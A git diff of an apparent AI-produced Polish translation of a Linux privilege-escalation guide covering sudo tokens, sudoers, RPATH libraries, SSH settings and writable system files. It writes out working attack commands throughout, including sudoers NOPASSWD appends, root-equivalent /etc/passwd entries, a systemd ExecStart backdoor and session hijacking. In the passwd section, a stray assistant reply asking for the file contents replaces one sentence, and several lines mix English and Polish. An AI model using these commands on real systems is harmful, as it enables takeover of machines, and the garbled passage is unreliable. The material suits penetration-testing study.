+957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Skoro znaleźliśmy SUID binary ładujący library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o odpowiedniej nazwie: +Teraz, gdy znaleźliśmy SUID binary, który ładuje bibliotekę z folderu, do którego możemy zapisywać, utwórzmy bibliotekę w tym folderze o wymaganej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -975,13 +974,13 @@ Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję nazwaną `a_function_name`. +to oznacza, że biblioteka, którą wygenerowałeś, musi zawierać funkcję o nazwie `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) to wyselekcjonowana lista Unix binaries, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) to to samo, ale dla przypadków, kiedy możesz **wstrzyknąć tylko argumenty** w polecenie. +[**GTFOBins**](https://gtfobins.github.io) to skuratorowana lista binarek Unix, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) to to samo, ale dla przypadków, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. -Projekt zbiera legalne funkcje programów Unix, które można nadużyć, aby wydostać się z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shells oraz ułatwiać inne zadania post-exploitation. +Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby wydostać się z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shelle oraz ułatwiać inne zadania post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,55 +999,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Jeśli masz dostęp do `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo. -### Ponowne użycie tokenów sudo +### Reusing Sudo Tokens -W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo i przechwytując token sesji**. +W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia przez **oczekiwanie na wykonanie polecenia sudo i przejęcie tokenu sesji**. Wymagania do eskalacji uprawnień: - Masz już shell jako użytkownik "_sampleuser_" -- "_sampleuser_" użył **`sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokenu sudo, który pozwala nam używać `sudo` bez podawania hasła) +- "_sampleuser_" użył **`sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokenu sudo, który pozwala używać `sudo` bez podawania hasła) - `cat /proc/sys/kernel/yama/ptrace_scope` zwraca 0 -- `gdb` jest dostępny (możesz go przesłać) +- `gdb` jest dostępny (możesz je przesłać) -(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` przy pomocy `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Pierwszy **exploit** (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć, aby **aktywować token sudo w swojej sesji** (nie otrzymasz automatycznie powłoki roota, uruchom `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) utworzy sh shell w _/tmp_, którego właścicielem będzie root i będzie mieć setuid +- **Drugi exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do root z setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, który **sprawi, że sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo** +- **Trzeci exploit** (`exploit_v3.sh`) utworzy **sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **uprawnienia do zapisu** w tym folderze lub na którymkolwiek z utworzonych w nim plików, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **create a sudo token for a user and PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **obtain sudo privileges** bez konieczności znajomości hasła wykonując: +Jeśli masz **uprawnienia do zapisu** w folderze lub na któregokolwiek z utworzonych w nim plików możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **utworzyć token sudo dla użytkownika i PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła, wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki znajdujące się w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **by default can only be read by user root and group root**.\ -**Jeżeli** możesz **read** ten plik, możesz uzyskać **interesujące informacje**, a jeśli możesz **write** dowolny plik, będziesz w stanie **escalate privileges**. +Plik `/etc/sudoers` i pliki wewnątrz `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ +**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **eskalować uprawnienia**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli możesz zapisywać, możesz nadużyć tego uprawnienia. +Jeśli masz uprawnienie do zapisu, możesz je nadużyć. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1062,15 +1061,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Istnieją pewne alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD. Pamiętaj, aby sprawdzić konfigurację w `/etc/doas.conf` +Istnieją alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** aby eskalować uprawnienia i masz shell w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonywany był twój plik sudo. +Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a potem polecenie użytkownika. Następnie, **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile) tak, aby gdy użytkownik uruchomi sudo, twój plik sudo został wykonany. -Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Zwróć uwagę, że jeśli użytkownik używa innego shell (nie bash) będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Lub uruchamiając coś takiego: ```bash @@ -1091,12 +1090,12 @@ sudo ls ### ld.so -Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą wczytywane pliki konfiguracyjne**. Zazwyczaj ten plik zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` +Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą wczytywane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` -Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których będą **wyszukiwane** **biblioteki**. Na przykład zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w katalogu `/usr/local/lib`**. +To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których będą **wyszukiwane** **biblioteki**. Na przykład zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek w katalogu `/usr/local/lib`**. -Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, w dowolnym pliku wewnątrz `/etc/ld.so.conf.d/` lub w dowolnym katalogu wskazanym w pliku konfiguracyjnym z `/etc/ld.so.conf.d/*.conf` może być w stanie eskalować uprawnienia.\ -Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie: +Jeżeli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** na którymkolwiek z wymienionych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolnym pliku wewnątrz `/etc/ld.so.conf.d/` lub dowolnym katalogu wskazanym w plikach konfiguracyjnych z `/etc/ld.so.conf.d/*.conf` może być w stanie eskalować uprawnienia.\ +Zobacz **jak wykorzystać tę błędną konfigurację** na następnej stronie: {{#ref}} @@ -1114,7 +1113,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiując lib do `/var/tmp/flag15/`, program użyje jej w tym miejscu, zgodnie z wartością zmiennej `RPATH`. +Po skopiowaniu biblioteki do `/var/tmp/flag15/` zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1136,40 +1135,40 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Uprawnienia (Capabilities) -Linux capabilities zapewniają **podzbiór dostępnych uprawnień roota dla procesu**. To w praktyce rozbija uprawnienia roota **na mniejsze i odrębne jednostki**. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób pełny zestaw uprawnień jest zmniejszony, co redukuje ryzyko eskploatacji.\ -Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużywać**: +Linux capabilities zapewniają procesowi **podzbiór dostępnych uprawnień roota**. To w praktyce rozbija uprawnienia roota na **mniejsze i odrębne jednostki**. Każdą z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób pełen zestaw uprawnień zostaje zredukowany, zmniejszając ryzyko wykorzystania.\ +Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je wykorzystywać**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Uprawnienia katalogów -W katalogu, **bit dla "execute"** oznacza, że dotknięty użytkownik może "**cd**" do folderu.\ -Bit **"read"** oznacza, że użytkownik może **wypisać** **pliki**, a bit **"write"** oznacza, że użytkownik może **usunąć** i **utworzyć** nowe **pliki**. +W katalogu, **bit "execute"** oznacza, że dany użytkownik może **cd** do folderu.\ +Bit **"read"** oznacza, że użytkownik może **wyświetlić** listę **plików**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. ## ACLs -Access Control Lists (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając przyznać lub odmówić praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia bardziej precyzyjne zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listy kontroli dostępu (ACLs) stanowią drugą warstwę dyskrecjonalnych uprawnień, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu poprzez zezwalanie lub odmawianie praw konkretnym użytkownikom, którzy nie są właścicielami ani nie należą do grupy. Ten poziom **szczegółowości zapewnia bardziej precyzyjne zarządzanie dostępem**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Nadaj** użytkownikowi "kali" uprawnienia odczytu i zapisu do pliku: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pobierz** pliki z określonymi ACL z systemu: +**Pobierz** pliki z określonymi ACLs z systemu: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Otwarte shell sessions -W **starych wersjach** możesz **hijack** niektóre **shell** session innego użytkownika (**root**).\ -W **najnowszych wersjach** będziesz mógł **połączyć się** tylko do screen sessions **własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**. +W **old versions** możesz **hijack** jakąś **shell** session innego użytkownika (**root**).\ +W **newest versions** będziesz mógł **connect** do screen sessions tylko **własnego użytkownika**. Jednak możesz znaleźć **ciekawych informacji wewnątrz session**. ### screen sessions hijacking @@ -1186,11 +1185,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Przejęcie sesji tmux +## tmux sessions hijacking -To był problem ze **starymi wersjami tmux**. Nie udało mi się przejąć sesji tmux (v2.1) utworzonej przez root, będąc nieuprzywilejowanym użytkownikiem. +To był problem z **old tmux versions**. Nie udało mi się przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik nieuprzywilejowany. -**Wyświetl sesje tmux** +**Wypisz sesje tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1208,118 +1207,124 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Zobacz **Valentine box from HTB** jako przykład. +Sprawdź **Valentine box from HTB** jako przykład. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, itd.) między wrześniem 2006 a 13 maja 2008 mogą być podatne na ten błąd.\ -Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 warianty**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, itp.) między wrześniem 2006 a 13 maja 2008 mogą być podatne na ten błąd.\ +Ten błąd występuje podczas tworzenia nowego ssh key w tych OS, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh możesz wyszukać odpowiadający prywatny klucz**. Obliczone możliwości możesz znaleźć tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH — interesujące wartości konfiguracyjne +### SSH Interesting configuration values -- **PasswordAuthentication:** Określa, czy dozwolone jest uwierzytelnianie hasłem. Domyślnie `no`. -- **PubkeyAuthentication:** Określa, czy dozwolone jest uwierzytelnianie kluczem publicznym. Domyślnie `yes`. -- **PermitEmptyPasswords**: Jeśli uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie `no`. +- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. +- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie `no`. ### PermitRootLogin -Określa, czy root może się logować przy użyciu ssh, domyślnie `no`. Możliwe wartości: +Określa, czy root może logować się przy użyciu ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może się logować używając hasła i klucza prywatnego -- `without-password` lub `prohibit-password`: root może logować się tylko przy użyciu klucza prywatnego -- `forced-commands-only`: root może logować się tylko używając klucza prywatnego i jeśli określone są opcje commands -- `no` : brak dostępu +- `yes`: root może logować się przy użyciu hasła i prywatnego klucza +- `without-password` or `prohibit-password`: root może logować się tylko przy użyciu prywatnego klucza +- `forced-commands-only`: root może logować się tylko przy użyciu prywatnego klucza i tylko jeśli określono opcje dotyczące command +- `no` : nie ### AuthorizedKeysFile -Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zamienione na katalog domowy. **Możesz wskazać ścieżki bezwzględne** (rozpoczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: +Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki absolutne** (zaczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się przy użyciu **private** key użytkownika "**testusername**", ssh porówna public key twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się przy użyciu **private** key użytkownika "**testusername**", ssh porówna public key twojego key z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding pozwala ci **używać lokalnych SSH keys zamiast zostawiać klucze** (without passphrases!) na twoim serwerze. Dzięki temu będziesz mógł **połączyć się** przez ssh **z hosta**, a stamtąd **połączyć się z innym** hostem **używając** **klucza** znajdującego się na twoim **hoście początkowym**. +Forwardowanie agenta SSH pozwala Ci **use your local SSH keys instead of leaving keys** (without passphrases!) zamiast zostawiać je na serwerze. Dzięki temu będziesz mógł **jump** przez ssh **to a host** i stamtąd **jump to another** host **using** the **key** znajdujący się na twoim **initial host**. -You need to set this option in `$HOME/.ssh.config` like this: +Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: ``` Host example.com ForwardAgent yes ``` -Zwróć uwagę, że jeśli `Host` jest `*` za każdym razem gdy użytkownik przełącza się na inną maszynę, ten host będzie miał dostęp do kluczy (co stanowi problem bezpieczeństwa). +Zwróć uwagę, że jeśli `Host` jest `*`, za każdym razem, gdy użytkownik łączy się z inną maszyną, ten host będzie miał dostęp do kluczy (co stanowi problem bezpieczeństwa). -Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub odmówić tej konfiguracji.\ -Plik `/etc/sshd_config` może **zezwalać** lub **odmawiać** przekazywania ssh-agent za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). +Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\ +Plik `/etc/sshd_config` może **zezwalać** lub **zabraniać** ssh-agent forwarding za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). -Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz wykorzystać to do eskalacji uprawnień**: +Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie wykorzystać to do eskalacji uprawnień**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesujące pliki +## Ciekawe pliki ### Pliki profili -Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty, które są wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w `/etc/profile.d/` są **skryptami, które są wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz podnieść uprawnienia**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli zostanie znaleziony jakiś dziwny skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych danych**. +Jeśli znajdziesz nietypowy skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych informacji**. -### Passwd/Shadow Files +### Pliki passwd/shadow -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy znajdują się hashes** w plikach: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć kopia zapasowa. Dlatego zaleca się **znaleźć je wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy w plikach znajdują się hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym). +W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub w równoważnym). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Zapisalny /etc/passwd +### Zapisowalny /etc/passwd -Najpierw wygeneruj hasło za pomocą jednej z poniższych komend. +Najpierw wygeneruj hasło jednym z następujących poleceń. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Następnie dodaj użytkownika `hacker` i ustaw wygenerowane hasło. +I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the file contents you want translated. + +Also confirm how you want the `hacker` user added: +- Should I append a line (or section) to the translated README that shows commands to create the user and set a password, or just add a note with the username and generated password? +- Do you want me to generate a random password (specify length/complexity) or use one you provide? + +Once you paste the README and confirm the password preference, I'll produce the translated markdown and add the `hacker` user/password as requested. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Np.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Np: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Możesz teraz użyć polecenia `su` z `hacker:hacker` Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika testowego bez hasła.\ -UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny. +UWAGA: możesz osłabić bieżące zabezpieczenia maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. +Uwaga: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, a `/etc/shadow` zostało przemianowane na `/etc/spwd.db`. -Powinieneś sprawdzić, czy możesz **zapisywać w niektórych plikach wrażliwych**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? +Powinieneś sprawdzić, czy możesz **zapisywać do niektórych wrażliwych plików**. Na przykład — czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **zmodyfikować plik konfiguracji usługi Tomcat wewnątrz /etc/systemd/,** to możesz zmienić następujące linie: +Na przykład, jeśli na maszynie działa serwer **tomcat** i możesz **zmodyfikować plik konfiguracji usługi Tomcat w katalogu /etc/systemd/,** to możesz zmienić linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twój backdoor zostanie wykonany przy następnym uruchomieniu tomcat. +Twój backdoor zostanie wykonany następnym razem, gdy tomcat zostanie uruchomiony. ### Sprawdź katalogi @@ -1344,11 +1349,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Zmodyfikowane pliki w ostatnich minutach +### Pliki zmodyfikowane w ostatnich minutach ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Pliki bazy danych Sqlite +### Pliki Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1360,7 +1365,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skrypty / pliki binarne w PATH** +### **Skrypty/pliki binarne w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1378,18 +1383,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Znane pliki zawierające hasła -Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), przeszukuje on **wiele możliwych plików, które mogą zawierać hasła**.\ -**Innym ciekawym narzędziem**, którego możesz użyć w tym celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest aplikacją open source służącą do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. +Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on przeszukuje **wiele możliwych plików, które mogą zawierać hasła**.\ +**Innym interesującym narzędziem**, którego możesz użyć do tego, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), która jest otwartoźródłową aplikacją służącą do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. ### Logi -Jeśli możesz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy log, tym ciekawszy może być (prawdopodobnie).\ -Również, niektóre "**bad**" skonfigurowane (backdoored?) **audit logs** mogą pozwolić ci **zarejestrować hasła** w audit logs jak wyjaśniono w tym wpisie: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Jeśli potrafisz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy log, tym ciekawszy (prawdopodobnie).\ +Ponadto niektóre źle skonfigurowane (backdoored?) **audit logs** mogą pozwolić ci na **zapis haseł** wewnątrz audit logs, 